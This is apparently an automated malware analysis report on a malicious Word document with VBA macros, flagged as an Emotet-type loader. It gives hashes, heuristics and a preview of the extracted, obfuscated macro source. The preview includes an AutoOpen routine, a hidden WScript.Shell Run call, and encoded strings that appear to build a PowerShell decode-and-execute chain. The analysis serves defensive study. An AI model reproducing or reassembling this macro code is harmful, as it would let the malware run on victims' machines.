Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d88744d5466360de…

MALICIOUS

Office (OLE)

148.5 KB Created: 2018-03-16 13:42:00 Authoring application: Microsoft Office Word First seen: 2018-04-30
MD5: 698dd383648e6d92b45132d0d80d21ae SHA-1: a1ed4aa3f16ccb917cadfc0965fa219234f680ab SHA-256: d88744d5466360deda8db358399452daaa56f015277dd8a8516a5bf209bf6b2a
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, suggesting an attempt to download and execute a second-stage payload. The presence of legacy WordBasic auto-exec markers and the ClamAV detection further support its malicious nature. The VBA code appears to be obfuscated, making a precise family attribution difficult.

Heuristics 10

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          VLQIz = oWDBFB / NoOsm
      DGmrlCwE = "WScript.Shell"
      BOvhi = Joqlqd + vdrwc
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          LCdMA = VKuiiw + VKXRT
CreateObject(DGmrlCwE).Run JfIBAWIpBRYRR + Chr(VBA.vbKeyC) + zviczhDjQ + oijcOcrJfuPC + zYvJEXv, vbHide
      kDAdqr = Hex(TsVRQ / Int(18943))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "VNkMbdzrXSwli"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 36321 bytes
SHA-256: 35f9d11ad90e4c983b7508866e08bc6cd55c9ac9f6e5e6d2a343898144f2b450
Detection
ClamAV: No threats found
Obfuscation or payload: likely
655 of 1110 identifiers look randomly generated (e.g. 'nuLADA3AgMAQGAzAQNAQGA2AANAIDAzAgNAMDAxA') — consistent with name-mangling obfuscation. Carved artifact contains 26 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "rJKiQLNFIjzkI"
Function fkYXmTAFPDsJ()
On Error Resume Next
      ZULfAX = Hex(WOQAkB / Int(29263))
      mdJOqO = jZiwz / rZzPXE
      YzTjU = UQckJ + fztznu
hNrUNYjjwzz = NUIEhN("U9.jAwhBAMAUDA5AwMAADA4AAMAUGA2AQNAcDA1AgNAMDAyAwYAEDAw,Zm", 4 + 0, 49 + 0)
      YVolB = Hex(YzfpT / Int(71863))
      zvKnJ = tVtnEo / GUdwb
      VMjzk = SiwXp + Izwskp
      iYHEO = Hex(vvzwF / Int(54260))
      zZKqfR = bsNJfz / XTono
      MEqZt = zvfZr + izWGi
FIzICjQstVE = NUIEhN("NPuI%AcDAkBQYAUDA3AAOAQDAzAQZAADA5AwNAUDAyAQNAEDAzAgNAMDAlBwYAkDAzAANJ%", 3 + 0, 64 + 0)
      jiwnpL = Hex(YRfYcJ / Int(17296))
      JZsil = dRjvTV / AzBQo
      GJUZP = bUlTXC + ikVYd
      jYJwd = Hex(FvzDYX / Int(27480))
      sjEhb = TCdjAX / iSwEQ
      IdmEF = ZwWvn + rdfFai
MoraHLRzz = NUIEhN("VvBN%%YAMGAmBwNAYGAzAAZAEGAwAAMAQGAzAQNAIDAmBANAEGAkBgYAEGA5AgYAYGAwAAZAcDAwAwYAADAkBAOAEDAxAgMAQGA5AgMAkDA2AAMAMGAhBQNAQGAlBwNAYGA5AAOAkDAkBQNAIDAkBwYAQGAhBgYAMDA2AQNAUGAjBwNAMDAkBAZAQGAkBwNAYwq", 3 + 0, 186 + 0)
      IcGdvZ = Hex(GUXczw / Int(15913))
      GdFfw = BmzHp / Jtscs
      THiBz = iKOFbt + pZaXBA
      PvTdvt = Hex(EvDTqB / Int(93805))
      qHnRi = WLsPU / YYoHWL
      chqCK = NpGnR + mtUIrX
DoMMt = NUIEhN("uXAkBgZAUDAlBQZAQGAiBwNAMGAkBgYAUDAzAAOAIGAxAwYAQDAhBwYAQGAkBwYAMGAhBgNAEGAwAQYAUDA4AgMAgDA4AwMAYDA0AQNAMGi.rXn93", 8 + 0, 104 + 0)
      sjsjaN = Hex(RSjGvz / Int(59567))
      TjAFd = VWPXao / iDPwjm
      VjzPo = zuJzrU + mZkIlu
      jvTZz = Hex(IoUUjq / Int(78718))
      wOsFW = uqhjqK / ToLwC
      zAAdo = wYHFca + hoREl
MRhqzkSnAw = NUIEhN("WAwNA8CA8BgM5435a05061b3143240f3476111d29467'($ (ISNAcOllALabOLgOTgnIRTseRUces::]laHSrAm.SeCIVRESPORETnI.EMITnur[ (isNAGNIRTsotRTP::]LAHSraM.SecIVrEsPOREtNi.EMItnur[(SRRp", 5 + 0, 164 + 0)
      zTHsOj = Hex(pvoAIX / Int(61862))
      rSwlD = ZJnkF / idNBj
      zDzqI = tGqAjG + EulqWT
      YqDHiq = Hex(TzizfZ / Int(76675))
      mfGhj = HBEbp / WkUjKB
      CumsEz = oOWbLj + lJSaz
MvHazzAVi = NUIEhN("oUP3AlBgNAUGA5AgMAMGAxAQNAkDA5AQYAIDAhBAMAgDAyAQZAEGAxAQOAkDAkBwNAIDA0AAOAYDAhBQMAYGAkBAOAUDAkBQNAYGAmBQZAYGAmBgNAEGAwAQOAQGA5AQMAADA3AAMAcDAyAQOAQGAwAQNRj", 3 + 0, 149 + 0)
      MRpwjo = Hex(DjcBn / Int(58416))
      kLzmCk = hsfcPJ / lbBGNX
      lFnMQ = qElVoj + cZKfYM
      XfwkaI = Hex(TtSQwf / Int(71421))
      uwkOjk = GFNoz / qIEalv
      WVOGY = MMYoQ + pVsNIQ
MFYwJi = NUIEhN("3MuOj1AAMAEDA3AwMAADA2AQYAYDAhBwMAIDA1AAOAIGA0AAZAEGAzAwMAQGAiBAOAMDAjBQYAMDAlBAMAYDAiBgNAIGAyAwNAkDAlBAOAYDA4AgYAADAwAQYAQDAyAwNAMDA3AQMAADAjBgZAEDAlBwYAIDA0AgYAEGA0AQYAUGA1AAOAgDAkBANAADA1A", 2 + 0, 185 + 0)
      pFZqW = Hex(JpdlOq / Int(20351))
      NLYiip = YFiRz / JXwuvK
      GRwfr = PijbJ + FKbJTf
      ZltiA = Hex(CCSFZw / Int(69405))
      Pzlzj = zHFJn / tsCll
      kpqpc = GHGOmt + FLTYj
fvZujSwMGV = NUIEhN(",vqpAmBQZAEDAjBwMAIDAiBANAADA0AgYAUDAiBAZAYGAjBQZAUDAwAwMAADA5AAOAIDAmBQOAIGAyAgZAQDA1AQYAUGA5AQMAUGA4AAMAEDA3AAZAMDAzAAOAIGAxAANAMDA0AgMAcDA1AAMAIDA4AQZAQDAhBAOAIDAyAwpFWd", 5 + 0, 164 + 0)
      opRLR = Hex(kudiKA / Int(62786))
      JLuMZ = BtcLk / LHiKZ
      VNwbT = ZJrqcZ + NGYsuR
      qTUcW = Hex(dNKZO / Int(63341))
      mJnbm = ltwmc / WEYzuJ
      FkamO = iqYnJ + UiXXj
WRsdFiEvd = NUIEhN("Wj,vAANAQGA0AAOAkDAwAQOAEDAzAQZAgDA5AgMAIDAmBgMAIGAiBAOAUGA3AQOAEDA4AQNAgDAzAwMAkDAiBgZAMDAzAgMAIGAyAwNAgDAmBAZAADAkBwMAUDurBl1", 6 + 0, 118 + 0)
      GuKmj = Hex(hswAPF / Int(26218))
      QNbXM = YQINN / odIAz
      sjoPpS = iFWOd + TZttGD
      OqwQPk = Hex(uokdq / Int(37453))
      TmrBL = hPhWj / SbdcI
      WDfoja = CFQqLf + Ozhbll
owhivKh = NUIEhN("DvadDA5AwNAbq", 3 + 0, 7 + 0)
      zzzJb = Hex(LSZQLb / Int(79054))
      QWiDR = JQQZWr / pUuCq
      WWFjf = qOjjA + jqIwaC
      idlIdj = Hex(JpCbR / Int(58948))
      HatnZP = PDKoRB / AwDic
      PmurFB = uwhWZa + iINlq
DhDhOJjFaV = NUIEhN("JOnOISSERpXe-EkOvNi|) ) zwLjf", 6 + 0, 22 + 0)
      GTaaU = Hex(hCIsz / Int(95678))
      kaUjBh = onSVn / qhWrj
      nXovL = XtTYl + hZjqt
      UMTAl = Hex(rJbjB / Int(61197))
      OjXjT = AMFZMA / uDHDIq
      sDHZU = iXITf + jWDjcl
XjTTFzw = NUIEhN("VsrnwAQGAmBAOAEDA0A1PLq", 5 + 0, 14 + 0)
      cXMPm = Hex(AwanC / Int(46294))
      LWTKcw = KJcEm / NRTrWf
      pNmfo = RTMEj + vFmNC
      jIGOi = Hex(PBUlaC / Int(57210))
      FLVfq = ZVEGX / TObPkm
      KPnawf = ukkhDJ + dOCiY
wzJVWavrNB = NUIEhN("sI7DAxAgNAYGAjBgMAYDAiBANAADAlBAMAgDAjBQNAU8XUKoL", 7 + 0, 40 + 0)
      ElLEz = Hex(vHAaFB / Int(77761))
      SFSlY = PSokW / NipzY
      MltYEj = GjTtJf + PEmXwR
      ijotv = Hex(XzzcPE / Int(90637))
      AffMuJ = JVKFA / MFqJpZ
      iaCOth = YujENF + uWVqJ
KczDrFAwH = NUIEhN("ZvAQYAMGAhBAMAkDAzAAOAEDA4AAMAIGAwAQZAQGAjBQNAQDAxAAZAYGA2AQMAMDAkBwNAUDAiBgYAMGAwAwMAMDAlBAOAQGAyAAOAYGAkBgZAYGAjBQMAMDAmBAMAYGAkBgMAMDAiBgZAEDA5AwYAEGA2AAZAMGAmBwNAEGA5AwYAQDA3AwYAIDAmO%bFb", 7 + 0, 183 + 0)
      RYLio = Hex(lKsGSZ / Int(58211))
      MadRTM = iOpGr / nSiUTj
      jFPXZ = wkjnOi + IuUtEX
      faLqnu = Hex(oBDtD / Int(13807))
      NwCom = zBfNci / drizh
      cCIjG = RzFTR + FjCwS
zrdnN = NUIEhN("%3gYAQDAiBAOAcDA5AgYAkDA2AQMAEGA2AQZAcDA4AQMAQGA1AwNAEGAmBAMAUGA4AwMAYGA4AwMAkDAmBwYAcDA2AQMAMDAmBANAEGATM9EzA", 7 + 0, 102 + 0)
      aiWpd = Hex(zOIUbz / Int(37251))
      MoiNF = woVvr / OFWvWj
      fXzsn = Olsrw + IzLvQ
      biBKJj = Hex(TZtzW / Int(51718))
      lcjpvW = zObRFN / GiZhw
      HpMqqq = VOJOpC + zukPH
pJjHlvLITU = NUIEhN("BpobNAUGAxAwMAADAwAwMAMGAjBAMAUDA0AwYAcDA2AgNAYDA3AwMAQDAwAQlM%", 4 + 0, 56 + 0)
      zdQZtE = Hex(oMrUS / Int(51803))
      VwPqwF = ciFMc / IPLwK
      DfdZn = mTJIXp + OGjCiu
      JJCMZ = Hex(iLjjLW / Int(13820))
      hiCoGi = wSidi / YppPi
      iiVAp = kasDMk + wHdomb
QBPJLaBzz = NUIEhN("Vzu,DAxAwMAMGAhBgYAgDAwAAZAIGA0AAMAMDAzAgMAUGA0AQYAgDA3AgNAADAyAAOAMGAiBAOAEDA2AgMAEDAjBgYAMDAzAQNAMDAzAAZAYGA1AgYAMGAmBQZAQGA3AgNAMD,qAS8", 6 + 0, 129 + 0)
      KCKrY = Hex(rQFVrT / Int(57315))
      YzMiN = VDNvF / wlIuAC
      SrjXdc = oUVWM + GMXIRJ
      mpXpLB = Hex(AjSwjK / Int(43795))
      LtaTGR = EdXLBI / cNpCjL
      AIVXz = JpkuB + GfIsZw
paYlu = NUIEhN("XEjFL6NAkDA5AAZAMGA0AAMAMDAhBQOAQGAmBQYAQGAhBgZAkDAmBAOAUGA5AwMAIDA5AQNAYDAxAQMAUGA2AAOAEDAxAQMAEDA0AwNAQGAwAQMAQGA2AgYAMDA3AgZAUGAzAwNAUDA2AgZAIDA4AwYAQ3", 2 + 0, 147 + 0)
      wluSz = Hex(jIGEGh / Int(57522))
      dLlFv = PjOsd / NBMUU
      DLORG = VXQuDk + MXddUX
      XMcai = Hex(DGcVih / Int(14141))
      MBPbi = avdzjO / jBOjzS
      MaQNqT = CaSYVM + kPlUYC
BddjkQXEQF = NUIEhN("8Uo=AAlBANAUmmuo", 5 + 0, 9 + 0)
      bjiqUp = Hex(FNpiO / Int(19888))
      mkCkL = XUKZOB / zldLb
      RkrmW = iiwNc + HCiwfi
      RnMoww = Hex(iowqUw / Int(49716))
      Iimcdc = XjjqP / wCGZJZ
      OIrPi = HmXds + nusFO
tFNYsEAYLzl = NUIEhN("nuLADA3AgMAQGAzAQNAQGA2AANAIDAzAgNAMDAxAgNAMGAiBwMAUDAwAgMAQGA4AwNAEDAwAAOAQGAjBwNAgDAyAANAcDAkBwNAcDAwAwNAMDA1AgYAUDAkBwNAUDAxAQMAQDAmBgNAIDAjBwNAkDA4AgZAIDA2AgYAIDAZj", 3 + 0, 162 + 0)
      SALPc = Hex(Giokl / Int(84493))
      KYKiA = XuHUTA / oUcuF
      sRrZDz = jIzhWB + MhwcQs
      rAnFFq = Hex(taitqd / Int(43778))
      wKnqdF = oWaJf / aqbpJ
      lSzdT = wSobW + acJrwH
BNFKZN = NUIEhN("owdVAhBAMAcDAlBwYAIGAzAAMAQGAwAgZAQGA2AANAYGA2AQYAEDAyAgMAEGAyAgNAQDAkBgNAEGA4AwYAUGAzAQYAEGAmBAZAEDAhBgZAIDA0AQNAcDAhBANAElu", 3 + 0, 119 + 0)
      kljLQ = Hex(vKOSjC / Int(7624))
      NkTwhU = imTMzA / CIjuUl
      iCGjw = skzEY + sMsqs
      FDPjKP = Hex(zwjXu / Int(1747))
      SzqzHT = wivXnr / EoCvY
      YVQGK = pALEAu + zZNLzh
pSUnH = NUIEhN("Zmp51GGMAMGAhBgNAUGA3AQNAUDAhBgMAEGAxAgZAEDA0AAOAEGAiBgMAQDAzAQMAYDAwAgYAQGA4AgYAQGAkBQZAwHA9AQPAEEA0AAMAQFA1AQNAQGADBwaAADA2AAVA8CA2AQRAwEA1BQcAYDA3Aw", 2 + 0, 143 + 0)
      IIZTMX = Hex(wuKdc / Int(41035))
      PwhjoL = mlavdq / zrcFNo
      Qwwun = rFBaY + Kjcjb
      vdPwNL = Hex(YuPNo / Int(19481))
      uGzYf = UPKna / vjiYkI
      mWMYC = UzwicS + LjAzGm
itzHNQ = NUIEhN("wVGGoRM9NAcDAjBQOAADAhBQZAIDA0AANAUDA0AAZAYDA5AwNAMGA2AgZAcDA4AQNAIGAwAAOAMDA3AAMAcDAyAAMAIDAjBgZAMGAzAQOAQGAmBwNAIGAlBQZAIGAyAgNAMDAlBANAYGAzAQNAEDAW", 2 + 0, 141 + 0)
      pafTcW = Hex(QRuWi / Int(9817))
      Xviium = FWhhU / cOiiRw
      WLqtv = MDhDLw + MolSR
      hzQLF = Hex(iORoT / Int(22512))
      niGYpb = PFonE / fmHjtp
      UvhiO = lFOkLp + afTtJj
riRupKGcwo = NUIEhN("nNsGA0AAOAYDAmBgMAQDAwAgZAkDA2AAMAEGA0AgMAUGA4AwNAMGA2AANAYDAlBQOAEGAxAgYAQGAyAwMAADAzAwNAQGAiBwYAUGAzAgMAUGAxAQNAMDA0AAMAUGAjBAOAADAkBQNAcDA5AwNAkDAhBAOAUDAkBwYAEDAyAAZAYDNqp", 4 + 0, 169 + 0)
      jwcJcG = Hex(tsHivd / Int(76243))
      rAXJOq = BUcwG / ASNaJ
      rXSYGI = rNHCP + KwnTW
      lptjz = Hex(jXjDh / Int(34009))
      HmahzP = UXjDQR / MMfDs
      AFPFX = uUSkp + wjUPH
KmBthz = NUIEhN("M3v8W,AAZAMDA5AwYAEDAwAQMAIGAiBQZAYGA4AANAcDAjBAOAYGAmBwYAI@", 2 + 0, 53 + 0)
      hFEtN = Hex(pTiGT / Int(21236))
      zoGwB = UJvUF / ntjUi
      zFOWnG = rJQET + AHfpiq
      asQwzG = Hex(asRqQ / Int(75186))
      QalFaw = Rwnvk / hMOHV
      zWPOjC = wTFBS + hEarBc
TcnEoDC = NUIEhN("FG6GWW5AQOAYDAwAwMAgDAyAQZAcDAyAgMAQGA3AwNAUGA3AAOAEDA1AgZAEGAiBAZAgDAmBgX", 2 + 0, 67 + 0)
      AdJtd = Hex(OpZNd / Int(18541))
      incBM = CXCuL / UACNHV
      fEhWN = kjnNW + crzLu
      QdAFz = Hex(nYcaXt / Int(84475))
      iZonhv = SsAkqR / uTMHo
      uzLpE = WKpUrw + jYRwOW
JpJZKZqmj = NUIEhN("sLRR3AQGA2AANAUDAwAQMAgDA2AgMAQGAhBgYAQGA0AAMAIDA5AAZAQDAkBgNAIDAiBA1qm", 4 + 0, 63 + 0)
      iwlAUI = Hex(PiINQ / Int(9372))
      ifNwi = YRcXIo / hzdXwl
      uwNLU = QGjhGa + aBtDzf
      ipBDb = Hex(zZmAV / Int(34210))
      XHZESE = CKGwMf / nuXJJ
      ITdrw = WiXXi + tjDBX
WwOVNC = NUIEhN("zMFbNSYAADAwAwNAcDA1AQYAUGAwAAOAEGAmBwNAMGA1AQOAYGA4AQNAIGA2AQYAADA2AwNAEGAxAwNAIDAiBwMAUGAhBwYAEGA3AgYAkDAwAgZAYGA3AQZAYDAlBgNAIDAzAQOAIDAiBAZAIGA4AgNAMDAwAANAYDA0AA,lu", 4 + 0, 160 + 0)
      UnOQX = Hex(CrwCJf / Int(28427))
      MQVDii = HiTin / hSzzl
      DpWms = voGPTU + IrEdKA
      aQZzBD = Hex(qOoIHZ / Int(74037))
      GavHG = azKOn / ZQpOK
      qUwwsu = XnivAw + owTwqO
vdQHSm = NUIEhN("bv7UAANAcDA5AgMAEDAlBgYAMGAwAgYAUDAlBQOAADA5AAZAcDAlBgMAUDAmBQMAQGAlBQYAQDAiBgNAcDAkBgNAIDAxAQYAADAiBwYAMGA2AgYAIDAkBwMAMGAiBwNAIGAzAQZAYGAzAgNAkDAxAgNAUKF", 3 + 0, 149 + 0)
      qATPjN = Hex(IZYazK / Int(68032))
      aJhAL = UvCKSE / bzrXv
      AUfjJ = APOGVC + AWYJQp
      kTQOIz = Hex(XZGiLz / Int(24501))
      AfiGT = FwSwpj / rwfLb
      DzwUp = QGEhXI + prhzW
CCWJX = NUIEhN("K%zAgMAUGA2AQNAEDA5AgNAIGAyAQMAMDAjBQOAcDAhBgZAADA0AAOAQDAkBgMAUGAhBQNAMDA2AA.Jclu", 6 + 0, 75 + 0)
      briVz = Hex(SQcja / Int(51141))
      ktIQB = pSDoB / vpirT
      zJmzP = cAEWX + adHAXR
      nQDdk = Hex(iKVTdi / Int(49452))
      FAdOU = XqcpU / kPLmB
      dVJWa = dObfj + iiBAKr
iGYGOAiqdJY = NUIEhN("oOAZAQDA3AgMAcDA5AgNAEGAhBQNAMDAkBwYAgDAzAgNAEDA2AANAgDAjBAMAADA4AgZAcDA4AQZAYDA2AwYAEGA3AQMAIGA5AgYAYDAiBAOAkDA4AwNAADAiBQZAEDA1AgMAEGAlBgGWRrl", 6 + 0, 137 + 0)
      ajsuwo = Hex(IiMSw / Int(67471))
      RBEEj = ZkGqsH / KqFkFU
      bdkbN = MvzCIj + KNczw
      TIDBL = Hex(mIoUXC / Int(75027))
      DzGibN = psDXJn / bYQnc
      lRzfs = hiufiC + EjbnWK
EUOtk = NUIEhN("WqRMAYGA3AQZAIGA3AQMAYDA3AgMAYDAkBwYAIGA5L6Ru87", 7 + 0, 38 + 0)
      WiQAi = Hex(pbjQE / Int(67767))
      Wzmzbp = fzuNUV / jfzkud
      tHBzB = HGBdbz + HHtcMj
      WOdSUb = Hex(sJdtmj / Int(82040))
      vGhKd = WAKrU / JXBVzF
      kBwzw = jGUhQU + RzLKF
bpoUBz = NUIEhN("wIqcobVDA3AwNAcDAlBQOAcDAwAQOAgDA3AgMAgDAxAQZAQGAwAANAIDAkBQMAUGAwAQYAYDA2AgMAYGAzAgYAIGAjBQp", 2 + 0, 85 + 0)
      DMANT = Hex(AqaVIH / Int(92594))
      jGBwGk = zMCTuX / TLLqP
      BnkndX = rFkLZT + jLwNDV
      ABzMZ = Hex(dTjETN / Int(50510))
      OjrFwa = rMPjP / mFNcE
      sOWIoZ = wvTILk + DqCdK
YfjAfuZw = NUIEhN("wVuAkBQZAEGAhBAO2U1fG.", 7 + 0, 13 + 0)
      MKJoi = Hex(JBrOTb / Int(27418))
      hRrYD = DiKXED / FWvCjS
      jiFiaL = tEjAj + Qcmwia
      SJGBkF = Hex(IIqacX / Int(84536))
      GmXjk = IjpDX / NjciWI
      oMGJn = bmqzAr + wDkYfc
FSwGzMI = NUIEhN("juA2AQMAgDA4AAMAcDAlBQMAMGAyAAOAUGA1AwMAcDA2AAZAgDA2AQOAMGAlBgYAYGAwAwMAQGA1AAZAYGAwAQMAQDAzAQNAEDA0AgZAYGA1AgNAADA3AAMAMGA3AANAADA2AQYAEDAJZXO,", 6 + 0, 137 + 0)
      cKcRw = Hex(QlZfM / Int(7273))
      QDAzd = sJhSip / vsKwE
      uoiijp = bbpNK + wXKsDl
      rwOFhZ = Hex(FzLjU / Int(72952))
      PrmJCr = ccdtaO / ooWfL
      moEltJ = czUsA + pvHPsk
vznuUpoFMqT = NUIEhN(",NNpAfAgYAIGAkBQZAQDAiBwNAgDAkBQMAADA2AgZAYGAxAANAEGAyAwMAkDAjBQZAEGAhBAOAADA3AwYAkDAwAQMAQGAhBgNAIDA2AgYAEDA4AwNAYDAzAAMAcDAwAQYAIGAwAwYAYDAhBQYAcDAhBgNAQDAxAAOAUGA1AQMAQGAkBAMAEDA4AgMAID2j", 3 + 0, 182 + 0)
      POVkLH = Hex(LRJpA / Int(17418))
      ramAP = SDdHlt / ZShYdv
      QXSUam = MKqfrr + wUUPd
      zQwjm = Hex(jIItw / Int(93646))
      KTAFzl = TQuBDX / fJjmw
      JEYARY = SdwVi + LNHJw
iJiDmuXHdAf = NUIEhN("uVw3.FfkDA0AAMAcDA5AgMAIGA2AgZAUDAhBgMAADAhBQZAkDAyAQOAUDAjBQYAIDAyAgNAQGA1AQOAIDA0AAOAUDAjBAZAEGAjBgMAEGA0AQMAIDAyAwMAkDA5AAZAcDA2AAZAUGAhBQNAMDAkBwMAUGAzAwYAMGA5AwYAQDAzAgZAADA0AQOAMGAkBQNAQDAmBANAEDA%", 2 + 0, 195 + 0)
      wujhW = Hex(dPPBwZ / Int(12501))
      zaGvA = bkUpTY / pLpYz
      PzCZWC = oJlQf + PcNkG
      aoUzL = Hex(RdMlWL / Int(84477))
      tdUpT = vsPwn / SVXbAC
      OzisJS = EGEDJB + jYfoiC
IXbNjKbC = NUIEhN("7w,SDAkBAZAQDAhBAOAkDA5AgZAIDA4AQOAgDA1AgYAMDAiBgZAEGAxAwMAUDA0AAMAgDAlBANAEGA0AgMAUDAjBgMAMDA5AQNAMGAhBQYAUGAhBwNAEDA4AgNAMGAjBQYAQDA3AAMAkDA4AgNAEGAjBgYAcDAmBQYAADAmBQNAcDAyAgNAEGAzAgYAUGAlBwMAXFRO", 5 + 0, 191 + 0)
      ahYYL = Hex(VvFkkU / Int(30099))
      NOlLWr = onMmm / lzsmRz
      nPFUzk = IAUSp + FTKtdM
      PipnOk = Hex(wubwZ / Int(95546))
      VuiQGD = ZtzzGw / ikqsa
      muZmLf = iYNbYT + tujOEk
JrNusjhkVR = NUIEhN("79NAcDA5AwMAQGA2AANAEGAwAAMAUGA0AwYAYDA5AQNAIGAmBQNAcDAkBgMAgDAiBgMAQDAkBwYAIDAiBwMAIDAmBAOAIGA0AAOAcDAwAQYAEDAwnbVOF", 6 + 0, 110 + 0)
      poqnHm = Hex(OJkEwF / Int(98985))
      UsEaGQ = fXanY / nBbnpK
      GiwDtV = OdXaN + SZrJii
      uXVIS = Hex(MMfit / Int(65538))
      ZPaMJ = RiGrw / nOpcH
      zVTdaS = puhCWY + ipqTm
qQlcJt = NUIEhN("AV%Mp4MAQGA2AwYAYGA5AQNAUGAjBQYAQDAmBAMAUGAkBQYAkDAmBAOAYDA2AwYAUDAkBQMAUDAwAAZAgDA5AwNAYDAlBAOAIfi", 3 + 0, 91 + 0)
      hufVof = Hex(ifnWk / Int(46844))
      tMmwp = XTSkb / TWuzXW
      VwFqzp = tGKGLS + TjRCud
      WMXwjV = Hex(lrpzh / Int(63964))
      JvKiMa = TVfHq / Epzki
      bQXsw = vHAaX + cFzzn
toXfvXB = NUIEhN("vSvNAUGAlBgNAIGAwAwNAgDA1AgMAgDA5AAMAMGAzAQNAkDAiBAOAYGAlBAOAQDAiBwMAYGA0AQYAUGA2AgYAUDA2AAZAQDA0AAZAMGA5AgMAUGAkBgMAEDAjBgUbv,2", 6 + 0, 120 + 0)
      vzAUDq = Hex(rqSJvr / Int(8433))
      NFZmD = HQTRs / QilFGC
      okTGN = AHjdzE + TwPzXL
      iIwXd = Hex(Cbwum / Int(41554))
      lSlJcM = ZPwHk / jSnrND
      nCMPW = ozmKCh + VpViS
PZCzzjYHPHr = NUIEhN("1jVdrtRJMAUDA4AQNAYDAyAQZAQGAzAAMAcDA2AwYAYGAmBAZAgDAzAwNAQDAxAQYAMDAkBgMAMGA5AQYAMGAlBgYAQGAxAAZAUGA0AgZAQGAhBQYAEDA1AQOAEDAxAwMAcDA2AwNAIDA4AwYAcDF", 2 + 0, 140 + 0)
      jJsPKr = Hex(tSknHj / Int(66488))
      AjGVn = YBnEwa / OuzJYi
      svnCY = oVPwDV + qUFPIf
      jzFJUf = Hex(qUiiW / Int(77437))
      TCNaT = RrYOX / fXfYBq
      WrhBNv = izJGEi + VjCdnz
ZzzHuV = NUIEhN("psXGA5AQMAMGA2AQMAMDAwAANAIGAlBQZAkDAhBwNAIGAlBwYAQmLS", 4 + 0, 48 + 0)
      XrYqm = Hex(zfKvcn / Int(47089))
      cmAAf = USiRKo / KrduN
      mzzIKb = dDoNi + KYttB
      vWXBW = Hex(XYFWz / Int(64736))
      NKiVT = jqKqP / BcGEi
      jnzIYb = DfwPN + ZIoWwh
kQHDokFuhC = NUIEhN("OVjBQYAADA1AAZAUGAyAAMAMGAmBwYAkDA3AwMAADAjBQOAYGAjBQZAQDAmBgYAIGAyAQYAUGAlBgZAADAjBwYAUGAxAwNAIDA2AgZAYDA0AgMAEDA0AAOAEDA2AANAQGAzAwNAYGAiBgMAUDAlBwMAUDAmBQZAIGAyAwMAADAxAwYAEDAyAQOAMGA3AAZAUGAlBwRFkXU", 6 + 0, 195 + 0)
      EhwVl = Hex(IcVjRT / Int(45675))
      SuRFlG = PXjbzO / RNGHXN
      wqiWsS = izivpo + NXQMa
      cvutEI = Hex(KUiCUU / Int(3150))
      OiHqEA = KHjhj / zGBnYi
      wqONa = owldFi + lalwHf
mERfP = NUIEhN("rjZAUGAmBAMAgDA3AwYAcDA3AgZAADA5AgZAEGAmBgZAQGAzAQZAUGA1AQZAADAkBgZAcDAlBAZAYGA0AAOAUDA1AAOAIDAhBQOAMDAxAwNAQDAwAwYAEGAwAAOAgDAhBwMAcpL.4qlV", 8 + 0, 131 + 0)
      QlnJXb = Hex(NNhPvl / Int(94492))
      XQtQPL = Zidwh / WVCfs
      oKDEq = NblDNK + BwDVEr
      wjwoM = Hex(nskqwN / Int(26956))
      JGBMvq = OAsfj / VtIWP
      OlsvE = iaDmCj + MBNWZa
wqWzVjhcRlp = NUIEhN("SP) )681,021,311,012,37,201,632,402,25,47,501,291,44,52,32,841,54,86,02,741,931,92,281,45,091,012,551,47,302,191,48,15 ek- gnIrTsErUCeS-oTTrevNOC |'=LjP8K", 6 + 0, 147 + 0)
      VvkjDI = Hex(aRzcTh / Int(99477))
      NRLzNM = BcwIv / LHWjw
      rSAIr = SHJEKi + kMowL
      nMHUB = Hex(LjcuY / Int(39604))
      SYlZCC = iCBAK / YkFVJC
      IdLsd = RiQbza + FTmkjR
bRJrD = NUIEhN("2Uwuq1AANAEGA5AwYAkDAzAAZAIGAzAgYAEDAyAQYAgDA0AQOAYGAkBwMAQGA5AAZAMDA0AgMAMGAhBQNAIDAkBANAMGAzAwMAQDAhBQMAEGAjBANAQDA4AgNAMDAiBwNAEDA5AAf", 2 + 0, 131 + 0)
      RjlKHK = Hex(fbiHl / Int(41737))
      XpMtw = lcSaD / OZFzU
      sUBZsB = TSlDlU + FuiiZ
      oQRFGY = Hex(zFJYRZ / Int(13039))
      Juofaz = cfqvP / TtZPY
      vQzcD = JPfvrv + zEwnk
